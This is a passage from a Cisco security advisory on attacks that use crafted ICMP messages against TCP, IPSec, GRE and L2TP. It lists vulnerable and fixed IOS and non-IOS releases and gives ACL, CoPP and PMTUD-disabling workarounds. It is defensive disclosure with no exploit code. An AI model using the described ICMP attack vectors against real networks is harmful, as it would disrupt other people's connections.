| | | 12.3(14)T |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
| |---------+---------------------------|
| 12.2ZE | TCPv6 | Vulnerable; migrate to |
| | | 12.3(12) or later |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
| |---------+---------------------------|
| 12.2ZF | TCPv6 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
| |---------+---------------------------|
| 12.2ZG | TCPv6 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | 12.2(13) | |
| | and | ZH6, | |
| | Tunnels | available | |
| | | TBD | |
| |---------+-------------+-------------|
| | | 12.2(13) | |
| 12.2ZH | TCPv6 | ZH6, | |
| | | available | |
| | | TBD | |
| |---------+-------------+-------------|
| | | 12.2(13) | |
| | L2TPv2 | ZH6, | |
| | | available | |
| | | TBD | |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
| |---------+---------------------------|
| 12.2ZJ | TCPv6 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
| |---------+---------------------------|
| 12.2ZK | TCPv6 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | 12.2(15) | |
| | and | ZL2, | |
| | Tunnels | available | |
| | | TBD | |
| |---------+-------------+-------------|
| | | 12.2(15) | |
| 12.2ZL | TCPv6 | ZL2, | |
| | | available | |
| | | TBD | |
| |---------+-------------+-------------|
| | | 12.2(15) | |
| | L2TPv2 | ZL2, | |
| | | available | |
| | | TBD | |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
| |---------+---------------------------|
| 12.2ZN | TCPv6 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.2ZP |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|-------------------+---------------------------|
| Major Release | Availability of Repaired |
| | Releases |
|-------------------+---------------------------|
| Affected | | |
| 12.3-Based | Rebuild | Maintenance |
| Release | | |
|-------------------+-------------+-------------|
| | | 12.3(3h); | |
| | | available | |
| | | 21-Apr-05 | |
| | |-------------| |
| | | 12.3(5e); | |
| | | available | |
| | | 28-Apr-05 | |
| | |-------------| |
| | TCPv4 | 12.3(6e) | |
| |and |-------------|12.3(13) |
| | Tunnels | 12.3(9d); | |
| | | available | |
| | | 21-Apr-05 | |
| | |-------------| |
| | | 12.3(10c) | |
| | |-------------| |
| | | 12.3(12b); | |
| | | available | |
| | | 12-Apr-05 | |
| |---------+-------------+-------------|
| | | 12.3(6e) | |
| | |-------------| |
| | | 12.3(3h); | |
| | | available | |
| | | 21-Apr-05 | |
| | |-------------| |
| | | 12.3(5e); | |
| | TCPv6 | available | 12.3(12) |
| 12.3 | | 28-Apr-05 | |
| | |-------------| |
| | | 12.3(9d); | |
| | | available | |
| | | 21-Apr-05 | |
| | |-------------| |
| | | 12.3(10c) | |
| |---------+-------------+-------------|
| | | 12.3(6e) | |
| | |-------------| |
| | | 12.3(3h); | |
| | | available | |
| | | 21-Apr-05 | |
| | |-------------| |
| | | 12.3(5e); | |
| | | available | |
| | | 28-Apr-05 | |
| | |-------------|12.3(15), |
| | L2TPv2 | 12.3(9d); | available |
| | | available | 6-Jun-05 |
| | | 21-Apr-05 | |
| | |-------------| |
| | | 12.3(12b); | |
| | | available | |
| | | 12-Apr-05 | |
| | |-------------| |
| | | 12.3(13a); | |
| | | available | |
| | | 2-May-05 | |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
| |---------+---------------------------|
| 12.3B | TCPv6 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | | |
| | and | 12.3(9a)BC2 | |
| | Tunnels | | |
|12.3BC |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(7)T8 or later |
| | Tunnels | |
| |---------+---------------------------|
| 12.3BW | TCPv6 | Vulnerable; migrate to |
| | | 12.3(7)T8 or later |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(11)T4 or later |
|---------+---------+---------------------------|
| | TCPv4 | | |
| | and | | 12.3(4)JA |
| | Tunnels | | |
|12.3JA |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | | 12.3(7)T8 | |
| |TCPv4 |-------------| |
| | and | 12.3(8)T7 | 12.3(14)T |
| |Tunnels |-------------| |
| | | 12.3(11)T4 | |
| |---------+-------------+-------------|
| | | 12.3(7)T8 | |
| | |-------------| |
| 12.3T | TCPv6 | 12.3(8)T7 | 12.3(14)T |
| | |-------------| |
| | | 12.3(11)T4 | |
| |---------+-------------+-------------|
| | | 12.3(11)T4 | |
| | |-------------| |
| | L2TPv2 | 12.3(7)T10; | 12.3(14)T |
| | | available | |
| | | 16-May-05 | |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
| |---------+---------------------------|
| 12.3XA | TCPv6 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
| |---------+---------------------------|
| 12.3XB | TCPv6 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | 12.3(2)XC3, | |
| | and | available | |
| | Tunnels | TBD | |
| |---------+-------------+-------------|
| | | 12.3(2)XC3, | |
| 12.3XC | TCPv6 | available | |
| | | TBD | |
| |---------+-------------+-------------|
| | | 12.3(2)XC3, | |
| | L2TPv2 | available | |
| | | TBD | |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
| |---------+---------------------------|
| 12.3XD | TCPv6 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.3XE |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
| |---------+---------------------------|
| 12.3XF | TCPv6 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.3XG |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; | |
| | and | migrate to | |
| | Tunnels | 12.3(14)T | |
| | | or later | |
| |---------+-------------+-------------|
| | | Vulnerable; | |
| 12.3XH | TCPv6 | migrate to | |
| | | 12.3(14)T | |
| | | or later | |
| |---------+-------------+-------------|
| | | Vulnerable; | |
| | L2TPv2 | migrate to | |
| | | 12.3(14)T | |
| | | or later | |
|---------+---------+-------------+-------------|
| | TCPv4 | 12.3(7)XI3 | |
| |---------+-------------+-------------|
| | | 12.3(7)XI4, | |
| | Tunnels | available | |
| 12.3XI | | TBD | |
| |---------+-------------+-------------|
| | TCPv6 | 12.3(7)XI3 | |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.3XJ |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.3XK |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
| |---------+---------------------------|
| 12.3XL | TCPv6 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
| |---------+---------------------------|
| 12.3XM | TCPv6 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.3XQ |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.3XR |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.3XS |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(4)JA |
| | Tunnels | |
|12.3XT |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.3XU |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.3XW |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.3XX |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | 12.3(8)XY4 |
| | Tunnels | |
|12.3XY |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.3YA |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.3YD |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | 12.3(11) | |
| | and | YF2, | |
| | Tunnels | available | |
| | | 28-Apr-05 | |
| |---------+-------------+-------------|
| | | 12.3(11) | |
| 12.3YF | TCPv6 | YF2, | |
| | | available | |
| | | 28-Apr-05 | |
| |---------+-------------+-------------|
| | | 12.3(11) | |
| | L2TPv2 | YF2, | |
| | | available | |
| | | 28-Apr-05 | |
|---------+---------+-------------+-------------|
| | TCPv4 | | |
| | and | 12.3(8)YG1 | |
| | Tunnels | | |
|12.3YG |---------+-------------+-------------|
| | TCPv6 | 12.3(8)YG1 | |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.3YH |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | | |
| | and | | 12.3(8)YI |
| | Tunnels | | |
|12.3YI |---------+-------------+-------------|
| | TCPv6 | | 12.3(8)YI |
| |---------+-------------+-------------|
| | L2TPv2 | | 12.3(8)YI |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.3YJ |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | | |
| | and | | 12.3(11)YK |
| | Tunnels | | |
|12.3YK |---------+-------------+-------------|
| | TCPv6 | | 12.3(11)YK |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | | |
| | and | | 12.3(11)YN |
| | Tunnels | | |
|12.3YN |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | | |
| | and | | 12.3(14)YQ |
| | Tunnels | | |
|12.3YQ |---------+-------------+-------------|
| | TCPv6 | | 12.3(14)YQ |
| |---------+-------------+-------------|
| | L2TPv2 | | 12.3(14)YQ |
+-----------------------------------------------+

Non-IOS-based Products
+---------------------

Each row of the non-IOS-based products table (below) lists the earliest
possible release that contains the fix (the "First Fixed Release") and
the anticipated date of availability. A product running a release that
is earlier than the listed release (less than the First Fixed Release)
is known to be vulnerable. The product should be upgraded at least to
the indicated release or a later release (greater than or equal to the
First Fixed Release label).

+-------------------------------------------+
| Product | Bug ID | First Fixed |
| | | Release |
|--------------+------------+---------------|
| | | SMU ID |
| | CSCef45332 | AA01157 for |
| | | IOS XR 3.0.0 |
| IOS XR | | |
| | | SMU ID |
| | | AA01172 for |
| | | IOS XR 3.0.1 |
|--------------+------------+---------------|
| | CSCef46728 | |
| | | |
| 7960 (SCCP) | | 7.1(1) |
| | | |
| | | |
|--------------+------------+---------------|
| | CSCef54947 | |
| | | |
| 7970 (SCCP) | | 6.0(3) |
| | | |
| | | |
|--------------+------------+---------------|
| | CSCef54204 | |
| | | |
| | | |
| | | Release date |
| 7960 (SIP) | | not |
| | | determined |
| | | yet. |
| | | |
| | | |
| | | |
|--------------+------------+---------------|
| | | 6.2.4(101) |
| | | and 6.3.4 |
| | CSCef57566 | (120), both |
| Cisco PIX | | available |
| Security | | from http:// |
| Appliance | | www.cisco.com |
| | | /cgi-bin/ |
| | | tablebuild.pl |
| | | /PIXPSIRT. |
|--------------+------------+---------------|
| | | D00404000018 |
| | | (load 18, DSP |
| | CSCsa60692 | Ver 4.3.25) |
| Catalyst | | for the 6608 |
| 6608 and | | and |
| 6624 | | A00204000010 |
| | | (load 10, DSP |
| | | Ver 4.3.25) |
| | | for the 6624. |
|--------------+------------+---------------|
| Cisco 11000 | CSCeh45454 | Release date |
| and 11500 | | not |
| Content | | determined |
| Services | | yet. |
| Switches | | |
|--------------+------------+---------------|
| | CSCeh20083 | Release date |
| Cisco Global | | not |
| Site | | determined |
| Selector | | yet. |
| | | |
|--------------+------------+---------------|
| Cisco MDS | CSCeh04183 | |
| 9000 Series | | SAN-OS 2.1 |
| Multilayer | | (1a) |
| Switches | | |
| | | |
|--------------+------------+---------------|
| | CSCeh59823 | |
| VPN 5000 | | Please |
| Concentrator | | contact TAC. |
| | | |
| | | |
|--------------+------------+---------------|
| ONS 15454 | See Cisco | |
| IOS-based | bug IDs | R5.0 |
| blades (ML | for Cisco | |
| and SL) | IOS | |
|--------------+------------+---------------|
| ONS 15302 | | |
| and ONS | - | R2.0 |
| 15305 | | |
+-------------------------------------------+

For all Cisco products that are based on a third party Operating System
and when Cisco is not supplying the OS, please contact your respective
vendor for the appropriate patches.

Obtaining Fixed Software
========================

Customers with Service Contracts
+-------------------------------

Customers with contracts should obtain upgraded software through their
regular update channels. For most customers, this means that upgrades
should be obtained through the Software Center on Cisco's worldwide
website at http://www.cisco.com.

Customers using Third-party Support Organizations
+------------------------------------------------

Customers whose Cisco products are provided or maintained through prior
or existing agreement with third-party support organizations such as
Cisco Partners, authorized resellers, or service providers should
contact that support organization for assistance with the upgrade, which
should be free of charge.

Customers without Service Contracts
+----------------------------------

Customers who purchase direct from Cisco but who do not hold a Cisco
service contract and customers who purchase through third-party vendors
but are unsuccessful at obtaining fixed software through their point
of sale should get their upgrades by contacting the Cisco Technical
Assistance Center (TAC). TAC contacts are as follows.

  * +1 800 553 2447 (toll free from within North America)
  * +1 408 526 7209 (toll call from anywhere in the world)
  * e-mail: taccisco.com

Please have your product serial number available and give the URL of
this notice as evidence of your entitlement to a free upgrade. Free
upgrades for non-contract customers must be requested through the TAC.

Please do not contact either "psirtcisco.com" or
"security-alertcisco.com" for software upgrades.

If you need assistance with the implementation of the workarounds, or
have questions on the workarounds, please contact the Cisco Technical
Assistance Center (TAC).

Customers may only install and expect support for the feature sets they
have purchased. By installing, downloading, accessing, or otherwise
using such software upgrades, customers agree to be bound by the terms
of Cisco's software license terms found at
http://www.cisco.com/public/sw-license-agreement.html,
or as otherwise set forth at Cisco.com Downloads at
http://www.cisco.com/public/sw-center/sw-usingswc.shtml

Workarounds
===========

The effectiveness of any workaround is dependent on specific customer
situations such as product mix, network topology, traffic behavior,
and organizational mission. Due to the variety of affected products
and releases, customers should consult with their service provider
or support organization to ensure any applied workaround is the most
appropriate for use in the intended network before it is deployed.

Effects of Disabling PMTUD
+-------------------------

As will be shown next, one of the most common workarounds to mitigate
the effect of attacks based on crafted ICMP "fragmentation needed and DF
bit set" messages (or ICMPv6 "message too big" messages) is to disable
PMTUD when it is possible to do so through configuration commands.

It is important to note that in general, there should not be negative
side effects to disabling PMTUD. Disabling PMTUD will cause a device
to send its datagrams with the DF bit cleared. When the large packets
reach a small-MTU router, that router will fragment the packets into
multiple smaller ones. The smaller, fragmented data will then reach
the destination, where it will be reassembled into the original large
packet.

Another consideration is that when PMTUD is disabled for TCP, TCP will
not adjust its MSS based on changes in the Path MTU, and the actual MSS
that will be used could cause unnecessary segmentation if its value
is larger than the Path MTU. The MSS value that will be used will be
a manually-set value (through a configuration command) or if nothing
is explicitly configured, a default of 536 bytes if the destination is
remote, or 1460 bytes if the destination is local. To avoid unnecessary
segmentation, it is recommended that the MSS be manually set to a value
small enough to pass through the smallest MTU in the data path.

Finally, please note that in general, disabling PMTUD will have no
effect on existing connections, which means that existing connections
must be manually terminated and re-established.

Voice Applications, PIX Security Appliance and PMTUD
+---------------------------------------------------

Disabling PMTUD on devices that are running voice applications (like
the Cisco CallManager) can create an undesirable condition if the voice
traffic is passing through a Cisco PIX Security Appliance and the PIX
Security Appliance is doing fixups of voice protocols like SCCP (fixup
protocol skinny), SIP (fixup protocol sip) and H.323 (fixup protocol
h323)

Note: the default installation of the Cisco CallManager has PMTUD
disabled.

The problem occurs because the PIX Security Appliance/FWSM software
cannot always fully inspect voice-signaling traffic that has segmented
and/or fragmented protocol data units (PDUs). With PMTUD disabled,
sufficiently large PDUs may be split across multiple TCP segments or IP
fragments, which can cause a failure to properly open the pinholes for
secondary connections and media traffic.

Therefore, when deciding to disable PMTUD on devices running voice
applications, take care to provision the access rules to permit the
necessary secondary signaling and media traffic and to disable the
respective protocol's fixup.

Depending on the local security policy, the requirement of pre-opening
ports may render this workaround of disabling PMTUD inapplicable.

Effects of Filtering Out ICMP Unreachable Messages
+-------------------------------------------------

Another suggested workaround, especially in the case of IPSec and of
those products where it is not possible to disable PMTUD, is to filter
out ICMP "fragmentation needed and DF bit set" messages. It is important
to note that any recommendation to block ICMP "fragmentation needed and
DF bit set" messages applies to messages that are destined to the device
that is being protected, and not for messages destined elsewhere in the
network. Indiscriminately blocking ICMP unreachable messages can lead to
the creation of the "black holes" described in RFC 2923 ("TCP Problems
with Path MTU Discovery" - http://www.ietf.org/rfc/rfc2923.txt).

Additionally, if ICMP "fragmentation needed and DF bit set" messages
are blocked from being received by an end host, the end host must
send packets with the DF bit cleared. This can be accomplished by
disabling PMTUD, or, if there is no way to achieve this, by using
special mechanisms like "crypto ipsec df-bit clear" where supported (in
the case of IPSec).

If ICMP unreachables are being blocked, and packets are sent with the DF
bit set, then the end host will never be able to react to the situation
where an intermediate router needs to fragment packets that are too
big for a certain PMTU; this situation requires either fragmenting the
packet at the source (end host), or re-sending the packet with the DF
bit cleared.

Workarounds for Cisco IOS
+------------------------

* Transmission Control Protocol Over IP Version 4

If PMTUD has been explicitly enabled, a possible workaround to prevent
PMTUD attacks is to disable it by using the global configuration command
no ip tcp path-mtu-discovery. Once this command is executed, PMTUD
will be disabled for all new TCP connections; configuring PMTD on the
IOS device does not have any effect on existing TCP sessions already
established from/to the router.

Please note that with PMTUD disabled, the MSS that will be used will be
the value set with the ip tcp mss command, or the default of 536 bytes
for remote destinations, or 1460 bytes for local destinations.

* Transmission Control Protocol Over IP Version 6

PMTUD is enabled by default when using TCP over IPv6, and it is not
possible to disable it. For this reason a possible workaround is to use
an ACL to block the ICMPv6 "packet too big" message.

Please note that filtering out ICMPv6 "packet too big" messages means
that the layer 3 (IPv6) PMTUD is being shut down as well. Therefore, it
is necessary to make sure that the MTU is set on the end host to the
lowest possible IPv6 MTU - 1280 bytes. Otherwise, since the device is
not seeing the "packet too big" message, the device will not know that
an intermediate system has dropped a packet because it was too big.

ICMPv6 "packet too big" messages are the IPv6 equivalent to the ICMPv4
"fragmentation needed and DF bit set" message. Therefore, the same
considerations presented in the section Effects of Filtering Out ICMP
Unreachable Messages apply to filtering out ICMPv6 "packet too big"
messages.

* IPSec

For IPSec, the recommended workaround is to "disable" PMTUD. Please
note that there is not a single command to disable PMTUD under IPSec,
but this can be achieved through other mechanisms. In particular, the
following two things must be done:

 1. Filter out ICMP "fragmentation needed and DF bit set" messages
    (type 3, code 4) destined to the router itself using an Access
    Control List or the Control Plane Policing (CoPP) feature.

    The following example shows how to block ICMP "fragmentation needed
    and DF bit set" (type 3, code 4) messages that are addressed to
    any of the device's IP addresses using an interface ACL (note how
    the type 3, code 4 message is specified using the packet-too-big
    keyword):

        access-list 111 deny icmp any host <fa0/0's IP address> packet-too-big
        access-list 111 deny icmp any host <fa0/1's IP address> packet-too-big
        access-list 111 deny icmp any host <fa0/2's IP address> packet-too-big
        access-list 111 permit ip any any
        !
        interface fastEthernet 0/0
          ip access-group 111 in
        !
        interface fastEthernet 0/1
          ip access-group 111 in
        !
        interface fastEthernet 0/2
          ip access-group 111 in

    Note: for this workaround to be effective, all of the router's IP
    addresses must be included in the ACL and the ACL must be applied to
    all interfaces.

    This type of filtering could be implemented as part of an
    Infrastructure ACL, which is a networking best practice.
    For more information on iACLs, refer to "Protecting Your
    Core: Infrastructure Protection Access Control Lists" at
    http://www.cisco.com/warp/public/707/iacl.html.

    The following example shows how to use Control Plane Policing to
    accomplish the same thing:

        access-list 140 permit icmp any host <interface0 IP address> packet-too-big
        access-list 140 permit icmp any host <interface1 IP address> packet-too-big
        [...]
        access-list 140 permit icmp any host <interfaceN IP address> packet-too-big
        access-list 140 deny ip any any
        !
        class-map match-all icmp-class
          match access-group 140
        !
        policy-map control-plane-policy
          ! Drop all traffic that matches the class "icmp-class"
          class icmp-class
             drop
        !
        control-plane
         service-policy input control-plane-policy

    Note: CoPP is available in IOS release trains 12.0S, 12.2S and
    12.3T. Additional information on the configuration and use of the
    CoPP feature can be found at the following URL:
    http://www.cisco.com/en/US/products/sw/iosswrel/ps1838/products_feature_guide09186a00801afad4.html

 2. Allow IPSec to fragment the embedded packet even when the Don't
    Fragment bit is set in it. This can be accomplished by using the
    command crypto ipsec df-bit clear (which is available in IOS 12.2
    (2)T and later) or by using Policy-Based Routing (PBR) (available
    in IOS 12.1(6) and later) to clear the DF bit.

    What follows is an example of how to use PBR to clear the DF bit:

        route-map clear-df permit 10
          match ip address 101

          !--- The following command is used to change the
          !--- Don't Fragment (DF) bit value in the IP header;
          !--- it must be used in route-map configuration mode.
          set ip df 0

        access-list 101 permit tcp 10.1.3.0 0.0.0.255 any

        interface ethernet0
          ...

          !--- The following command is used to identify a
          !--- route map to use for policy routing on an
          !--- interface; if must be used in interface
          !--- configuration mode.
          ip policy route-map clear-df

    In this example the route-map is applied to the interface where
    the unencrypted traffic enters the router, and 10.1.3.0/24 is the
    address space that is sending traffic through the IPSec tunnel.

* Generic Routing Encapsulation and IPinIP

The only workaround for this case is to disable PMTUD on the tunnel
interface if it has been enabled. This is accomplished via the command
"no tunnel path-mtu-discovery", while in the specific tunnel interface
configuration mode.

Without the "tunnel path-mtu-discovery" command configured, the DF bit
will always be cleared in the GRE IP header. This allows the GRE IP
packet to be fragmented, even though the encapsulated data IP header
had the DF bit set, which normally wouldn't allow the packet to be
fragmented.

* Layer 2 Tunneling Protocol Version 2 and Layer 2 Tunneling Protocol
  Version 3

The only workaround to protect Layer 2 Tunneling Protocol sessions
(both versions 2 and 3) against PMTUD attacks is to disable PMTUD if it
has been enabled. For L2TPv2, this is done via the no ip pmtu command
in vpdn-group configuration mode as shown here:

    router(config)#vpdn enable
    router(config)#vpdn-group 1
    router(config-vpdn)#no ip pmtu

For L2TPv3, this is done via the commands no ip pmtu and no ip dfbit
set in pseudowire-class configuration mode as shown here:

    pseudowire-class [pseudowire class name]
      encapsulation l2tpv3
      no ip pmtu
      no ip dfbit set
      [...]

Workarounds for IOS XR
+---------------------

If a Cisco CRS-1 is establishing TCP sessions with other peers, then
there are no workarounds and customers are recommended to upgrade to a
non-vulnerable version of IOS XR.

Workarounds for Cisco IP Phones
+------------------------------

There are no workarounds for ICMP "hard" error and "source quench"
attacks against Cisco IP Phones. However, these attacks can be
mitigated by segmenting voice and data through the use of VLAN
technologies, and in general, by following recommended best practices
for IP telephony such as those documented in the white paper "SAFE: IP
Telephony Security in Depth" available at
http://www.cisco.com/en/US/netsol/ns340/ns394/ns171/ns128/networking_solutions_white_paper09186a00801b7a50.shtml.

Workarounds for the Cisco PIX Security Appliance
+-----------------------------------------------

As mentioned in the Vulnerable Products section, the PIX Security
Appliance is only affected if IPSec is configured and enabled. If it is
affected, then there are no workarounds (since PMTUD cannot be disabled
on the PIX Security Appliance) and customers are recommended to upgrade
to a non-vulnerable version of the PIX Security Appliance software.

Workarounds for Cisco VPN 5000 Concentrator
+------------------------------------------

It is possible to completely disable PMTUD by setting the configuration
directive PreTunnelFragmentation to "no".

Even if PreTunnelFragmentation is left on with the "yes" setting, it is
worth noting that the VPN 5000 has very strict access rules for incoming
packets. If the attack were to originate from the outside (interface
Ethernet 1), then the packets would always be dropped and have no effect
on the IPSec connection. Packets coming across the tunnel or originating
from the inside interface (Ethernet 0) would still be vulnerable to
PMTUD attacks. Some customers run the device in "single-arm mode," where
only Ethernet 0 is connected and terminates tunnels. Customers under
this scenario are vulnerable.

Workarounds for Other Operating Systems
+--------------------------------------

Cisco has products that run on top of other operating systems, like
Microsoft Windows and different versions of Unix. These products
normally run as end hosts, i.e. not as intermediate systems. Therefore,
they may be affected by the vulnerabilities described in this document
if the operating systems are vulnerable. Some of the workarounds
presented in this section, in particular disabling PMTUD, may also be
valid workarounds for these operating systems.

For information on how to disable Path MTU on Microsoft Windows and
several versions of Unix you can consult the document "Adjusting IP
MTU, TCP MSS, and PMTUD on Windows and Sun Systems" available at
http://cisco.com/en/US/tech/tk870/tk472/tk473/technologies_tech_note09186a008011a218.shtml.

Protecting Against ICMP Source Quench Attacks
+--------------------------------------------

The ICMP "source quench" message was an early attempt at handling
network congestion, but current standards recognize that it is not an
effective method for handling this scenario. For this reason most
modern TCP/IP implementations ignore receipt of such a message and do
not send them. This situation should make it relatively safe to filter
